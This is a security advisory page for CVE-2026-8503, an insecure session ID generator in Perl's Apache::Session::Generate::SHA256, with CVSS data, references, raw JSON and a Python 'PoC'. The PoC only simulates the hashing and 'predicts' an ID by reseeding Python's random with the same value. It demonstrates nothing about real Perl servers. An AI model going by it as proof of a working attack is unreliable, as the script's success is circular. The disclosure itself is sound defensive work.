Security Vulnerability Report
中文
CVE-2026-8503 CVSS 6.5 MEDIUM

CVE-2026-8503

Published: 2026-05-15 12:17:10
Last Modified: 2026-05-15 16:16:16
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Apache::Session::Generate::SHA256 versions before 1.3.19 for Perl create insecure session ids. Apache::Session::Generate::SHA256 generated session ids insecurely. The default session id generator returns a SHA-256 hash of the built-in rand() function, the epoch time, and the PID, that is hashed again. These are predictable, low-entropy sources. Predicable session ids could allow an attacker to gain access to systems. Note that version 1.3.19 has a fallback without warning to use insecure session generation method if the call to Crypt::URandom::urandom fails. However, this is unlikely as Crypt::URandom is a hardcoded requirement of the module. This issue is similar to CVE-2025-40931 for Apache::Session::Generate::MD5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Apache::Session::Generate::SHA256 < 1.3.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC simulation of the vulnerable session ID generation logic # This script demonstrates how predictable the session IDs are when using rand(), time, and PID. import hashlib import time import random def vulnerable_generate_sha256(pid): # Simulate Perl's rand() behavior (simplified for PoC) # In the actual vulnerable module, rand() is called multiple times or used directly rand_val = str(random.random()) epoch_time = str(int(time.time())) # Vulnerable logic: Hash(rand + time + pid) raw_string = rand_val + epoch_time + str(pid) # First SHA256 hash1 = hashlib.sha256(raw_string.encode()).hexdigest() # Second SHA256 (as per description) final_session_id = hashlib.sha256(hash1.encode()).hexdigest() return final_session_id # Attacker scenario: Knowing the approximate time and PID range print("[+] Simulating vulnerable session ID generation...") print("[+] Assuming attacker knows the time window and PID range.") # Target parameters (e.g., server time and PID) target_time = time.time() target_pid = 1234 # Seed random to simulate predictable state (e.g., same process start) random.seed(42) # Generate the 'real' session ID real_id = vulnerable_generate_sha256(target_pid) print(f"[+] Target Session ID: {real_id}") # Brute force simulation by attacker print("[+] Attacker attempting to predict the ID...") random.seed(42) # Reset seed to simulate prediction predicted_id = vulnerable_generate_sha256(target_pid) if real_id == predicted_id: print(f"[!] SUCCESS: Predicted ID matches: {predicted_id}") else: print("[-] Failed to predict.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8503", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-15T12:17:09.557", "lastModified": "2026-05-15T16:16:15.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache::Session::Generate::SHA256 versions before 1.3.19 for Perl create insecure session ids.\n\nApache::Session::Generate::SHA256 generated session ids insecurely. The default session id generator returns a SHA-256 hash of the built-in rand() function, the epoch time, and the PID, that is hashed again. These are predictable, low-entropy sources. Predicable session ids could allow an attacker to gain access to systems.\n\nNote that version 1.3.19 has a fallback without warning to use insecure session generation method if the call to Crypt::URandom::urandom fails. However, this is unlikely as Crypt::URandom is a hardcoded requirement of the module.\n\nThis issue is similar to CVE-2025-40931 for Apache::Session::Generate::MD5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "references": [{"url": "https://github.com/LemonLDAPNG/Apache-Session-Browseable/commit/cc915cbbd266776eec3dd8bf4748b15fa827dbd0.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/GUIMARD/Apache-Session-Browseable-1.3.19/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/GUIMARD/Apache-Session-Browseable-1.3.19/diff/GUIMARD/Apache-Session-Browseable-1.3.18#lib/Apache/Session/Generate/SHA256.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-40931", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-40932", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}]}}